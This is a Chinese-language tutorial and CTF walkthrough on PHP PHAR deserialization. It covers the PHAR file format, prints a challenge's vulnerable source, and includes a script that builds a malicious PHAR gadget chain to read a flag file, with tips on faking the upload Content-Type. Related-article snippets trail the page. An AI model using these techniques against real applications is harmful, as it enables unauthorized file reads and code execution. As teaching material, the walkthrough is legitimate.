PHP开发技巧之PHAR反序列化详解

目录
  • 引文
  • 前置知识
    • PHAR
    • PHAR文件结构
    • PHAR文件生成样例
  • 实战
  • 结语

引文

之前将PHP反序列化的基础知识讲了一遍,不知道大家学习的怎么样了,今天给大家带来PHP反序列化的进阶知识:PHAR反序列化,也是之前本人在CTF比赛中经常遇到的一种php反序列化的进阶使用吧,下面先给大家讲一讲PHAR反序列化的前置知识。

前置知识

PHAR

在软件中,PHAR(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发。phar文件本质上是一种压缩文件,会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时,会自动反序列化meta-data内的内容,这里就是我们反序列化漏洞的利用点。

接下来带大家看一下如何构造phar文件:

PHAR状态是只读的,创建一个的Phar文件需要允许写入Phar文件,这需要修改一下:

php.ini:phar.readonly = Off;  #php版本要大于等于5.2

其中php.ini为php的配置文件。

PHAR文件结构

上面简单介绍了phar的基本定义,接下来我们学习一下PHAR文件的基本结构:

A stub

phar文件的标志,具体代码为:

xxx<?php xxx; __HALT_COMPILER();?>

注意的是phar文件始终要以__HALT_COMPILER();?>来进行结尾才能被识别为PHAR文件。

A manifest describing the contents

以序列化的形式存储用户自定义的meta-data,也是我们利用反序列化漏洞的点。

The file contents

压缩的文件内容。

signature

签名信息,放在文件末尾。

PHAR文件生成样例

了解了以上信息,我们就可以尝试来构建一个PHAR文件的生成,样例代码如下:

<?php
	class User{
        var $name;
	}
	@unlink("XINO.phar");
    $phar = new Phar("XINO.phar");
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>");
    $o = new User();
    $o->name = "XINO";
    $phar->setMetadata($o);
    $phar->addFromString("test.txt", "test");
    $phar->stopBuffering();
?>

运行之后结果如下:

成功生成了名为XINO.phar的phar类型文件,我们放进010editor查看:

看到 meta-data 序列化的内容成功的保存到了文件中。我们再用phar协议去读取就好了。这里需要注意的一点是:一些文件函数 通过 phar:// 伪协议解析phar文件时都会将meta-data反序列化,例如:

fileatime    filectime        filemtime    file_exists    file_get_contents    file_put_contents
file         filegroup        fopen        fileinode      fileowner            fileperms
is_dir       is_file          is_link      is_executable  is_readable          is_writeable
is_wirtble   parse_ini_file   copy         unlink         stat                 readfile        info_file

实战

学完上面的内容后,我们便可以尝试一下实战了,先看看利用条件:

phar文件要能够上传到服务器端

要有可用的魔术方法作为"跳板"

文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤

下面我们来看一个例题:

进去是一个登陆界面,我们注册登陆进去,发现了一个文件上传的点。要求得文件类型只能是gif/jpg/png的类型,需要抓包更改其Content-Type为image/jpeg或其它图片格式的对应字符串。抓包后会发现POST传参download处存在任意文件下载:

下载源码:index.php,delete.php,download.php,class.php

class.php:

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User {
    public $db;
    public function __construct() {
        global $db;
        $this->db = $db;
    }
    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }
    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }
    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }
    public function __destruct() {
        $this->db->close();
    }
}
class FileList {
    private $files;
    private $results;
    private $funcs;
    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);
        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);
        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }
    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }
    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" rel="external nofollow"  rel="external nofollow"  class="download">下载</a> / <a href="#" rel="external nofollow"  rel="external nofollow"  class="delete">删除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}
class File {
    public $filename;
    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }
    public function name() {
        return basename($this->filename);
    }
    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }
    public function detele() {
        unlink($this->filename);
    }
    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

delete.php

<?php
#delete.php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}
if (!isset($_POST['filename'])) {
    die();
}
include "class.php";
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
?>

简单分析一下:

创建一个user的对象,而且db变量是一个FileList对象,文件名为flag的路径。这样的话,当user对象销毁时,db变量的close方法被执行;而db变量没有close方法,这样就会触发call魔术方法(不理解的可以去看之前的文章),于是执行File对象的close方法。通过分析FileList类的析构方法可以知道,close方法执行后存在results变量里的结果会加入到table变量中被打印出来,也就是flag会被打印出来($this->filename=flag文件 )。

于是我们尝试写一个生成PHAR文件的脚本:

<?php
class User {
    public $db;
}
class File {
    public $filename;
}
class FileList {
    private $files;
    public function __construct() {
        $file = new File();
        $file->filename = "/flag.txt";
        $this->files = array($file);
    }
}
$a = new User();
$a->db = new FileList();
$phar = new Phar("XINO.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->addFromString("exp.txt", "test"); //添加要压缩的文件
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
//签名自动计算
$phar->stopBuffering();
?>

生成文件后将PHAR文件改文件类型然后上传,之后用PHAR协议去读取就可以得到flag。

结语

今天比较详细的讲了PHAR反序列化漏洞的原理以及应用方法,可能刚开始学不太好理解,可以根据之前PHP反序列化的思路去理解一下。有兴趣的小伙伴可以自己去搭建靶机来进行测试,喜欢的小伙伴不妨一键三连。

以上就是PHP开发技巧之PHAR反序列化详解的详细内容,更多关于PHP开发PHAR反序列化的资料请关注我们其它相关文章!

时间: 2022-10-08

解决PHP 7编译安装错误:cannot stat ‘phar.phar’: No such file or directory

前言 最近因为工作需要要使用PHP 7,所以从网上找教程进行安装, 结果编译没问题, 安装的时候报了错误. 错误如下 cp -pR -f phar.phar /usr/local/php7/bin/phar cp: cannot stat 'phar.phar': No such file or directory make: *** [install-pharcmd] Error 1 解决方法很简单: find . -name 'phar.phar' 找到 phar.phar 文件, 移动或者

PHP中phar包的使用教程

前言 PHP5.3之后支持了类似Java的jar包,名为phar.用来将多个PHP文件打包为一个文件. 首先需要修改php.ini配置将phar的readonly关闭,默认是不能写phar包的,include是默认开启的. phar.readonly => On 创建一个phar压缩包 <?php $phar = new Phar('swoole.phar'); $phar->buildFromDirectory(__DIR__.'/../', '/\.php$/'); $phar-&g

php 中phar包的使用教程详解

修改配置文件: vim /usr/local/php/etc/php.ini [Phar] phar.readonly = Off 压缩: a. 创建压缩脚本: vim compress.php <?php $exts = array( '*', ); $dir = __DIR__; $file = 'test.phar'; $phar = new Phar(__DIR__ . '/' . $file, FilesystemIterator::CURRENT_AS_FILEINFO | File

攻击者是如何将PHP Phar包伪装成图像以绕过文件类型检测的(推荐)

在US BlackHat 2018大会上,安全人员证明,攻击者不仅可以利用PHAR包发动RCE攻击,而且,通过调整其二进制内容,他们还可以将其伪装成一幅图像,从而绕过安全检查. 在本文中,我们来看看第二点是如何做到的. 背景知识 在US BlackHat 2018大会期间,Sam Thomas召开了一个关于在PHP中利用 phar:// 流包装器来实现针对服务器的代码执行攻击的研讨会( 幻灯片). 在运行PHAR包时,由于PHP会对其内容进行反序列化,从而允许攻击者启动一个PHP对象包含链.其中

PHP开发之归档格式phar文件概念与用法详解【创建,使用,解包还原提取】

本文实例讲述了PHP开发之归档格式phar文件概念与用法.分享给大家供大家参考,具体如下: 一个php应用程序往往是由多个文件构成的,如果能把他们集中为一个文件来分发和运行是很方便的,这样的列子有很多,比如在window操作系统上面的安装程序.一个jquery库等等,为了做到这点php采用了phar文档文件格式,这个概念源自java的jar,但是在设计时主要针对 PHP 的 Web 环境,与 JAR 归档不同的是Phar 归档可由 PHP 本身处理,因此不需要使用额外的工具来创建或使用,使用ph

Vue开发之封装上传文件组件与用法示例

本文实例讲述了Vue开发之封装上传文件组件与用法.分享给大家供大家参考,具体如下: 使用elementui的 el-upload插件实现图片上传组件 每个项目存在一定的特殊性,所以数据的处理会不同 pictureupload.vue: <template> <div class="pictureupload"> <el-upload :action="baseUrl + '/api/public/image'" list-type=&q

利用jQuery异步上传文件的插件用法详解

现在想实现用ajax来上传文件的功能,但是却发现Jquery自带的ajax方法只能上传文件名,而不能上传文件:用form提交虽然能够上传文件,但是却要刷新页面...多方查找下找到了一个可用的jQuery插件,刚好可以满足异步上传文件的要求. 代码 jquery.form.js 用法 这个插件是基于表单提交的,我们只要正常的写一段提交文件的表单,如: <form id="myForm" action="comment.php" method="post

Python正则表达式分组概念与用法详解

本文实例讲述了Python正则表达式分组概念与用法.分享给大家供大家参考,具体如下: 正则表达式分组 分组就是用一对圆括号"()"括起来的正则表达式,匹配出的内容就表示一个分组.从正则表达式的左边开始看,看到的第一个左括号"("表示第一个分组,第二个表示第二个分组,依次类推,需要注意的是,有一个隐含的全局分组(就是0),就是整个正则表达式. 分完组以后,要想获得某个分组的内容,直接使用group(num)和groups()函数去直接提取就行. 例如:提取代码中的超链

Java面向对象程序设计:类的定义,静态变量,成员变量,构造函数,封装与私有,this概念与用法详解

本文实例讲述了Java面向对象程序设计:类的定义,静态变量,成员变量,构造函数,封装与私有,this概念与用法.分享给大家供大家参考,具体如下: 本文内容: 什么是面对对象 类的定义与对象实例化 成员变量 成员变量的有效范围 成员变量的赋值 静态变量.方法与实例变量.方法 构造函数 封装与私有 this关键字 注:函数和方法是一样东西.[由于我之前学习的时候有些书籍不是同样的说法,书看多了,我就习惯了不同情况下用不同的说法] 首发时间:2018-03-22 什么是面对对象: 面向对象强调行为处于

MySQL游标概念与用法详解

本文实例讲述了MySQL游标概念与用法.分享给大家供大家参考,具体如下: 1.游标的概念(Cursor) 一条sql,对应N条资源,取出资源的接口,就是游标,沿着游标,可以一次取出1行.如果开发过安卓的同学应该知道有一个Api是Cursor,也是读取SQLite数据库用的,和这个有点类似. 2.使用游标的步骤 (1)声明 使用declare进行声明 declare 游标名 cursor for select_statement (2)打开游标 使用open进行打开 open 游标名 (3)从游标

PHP回调函数及匿名函数概念与用法详解

本文实例讲述了PHP回调函数及匿名函数概念与用法.分享给大家供大家参考,具体如下: 1.回调函数 PHP的回调函数其实和C.Java等语言的回调函数的作用是一模一样的,都是在主线程执行的过程中,突然跳去执行设置的回调函数: 回调函数执行完毕之后,再回到主线程处理接下来的流程 而在php调用回调函数,不想c以及java那样直接使用函数名作为函数参数,而是在php中使用函数对应的字符串名称执行 1.1.无参数回调 <?php //无参数回调 function callback(){ echo 'ex

Python装饰器基础概念与用法详解

本文实例讲述了Python装饰器基础概念与用法.分享给大家供大家参考,具体如下: 装饰器基础 前面快速介绍了装饰器的语法,在这里,我们将深入装饰器内部工作机制,更详细更系统地介绍装饰器的内容,并学习自己编写新的装饰器的更多高级语法. 什么是装饰器 装饰是为函数和类指定管理代码的一种方式.Python装饰器以两种形式呈现: [1]函数装饰器在函数定义的时候进行名称重绑定,提供一个逻辑层来管理函数和方法或随后对它们的调用. [2]类装饰器在类定义的时候进行名称重绑定,提供一个逻辑层来管理类,或管理随

Android开发中libs和jinLibs文件夹的作用详解

前言 相信各位Android开发中们在Android 开发中经常和这两个文件夹打交道,以前一直迷迷糊糊的使用,没去想过.最近遇到了一些问题,仔细研究了一下,特此记录分享.下面话不多说了,来一起看看详细的介绍吧. libs: librarys 用来存放三方库的地方,比如 *.jar 和 *.aar. 在 Project 视图下能看到, Android 视图下看不到. jniLibs: java native interface librarys Android Studio 新添加的,默认用来存放

jquery组件WebUploader文件上传用法详解

WebUploader是由Baidu WebFE(FEX)团队开发的一个简单的以HTML5为主,FLASH为辅的现代文件上传组件,下文来为各位演示一下关于jquery WebUploader文件上传组件的用法. 使用WebUploader还可以批量上传文件.支持缩略图等等众多参数选项可设置,以及多个事件方法可调用,你可以随心所欲的定制你要的上传组件. 接下来我以图片上传实例,给大家讲解如何使用WebUploader. HTML 我们首先将css和相关js文件加载. <link rel="s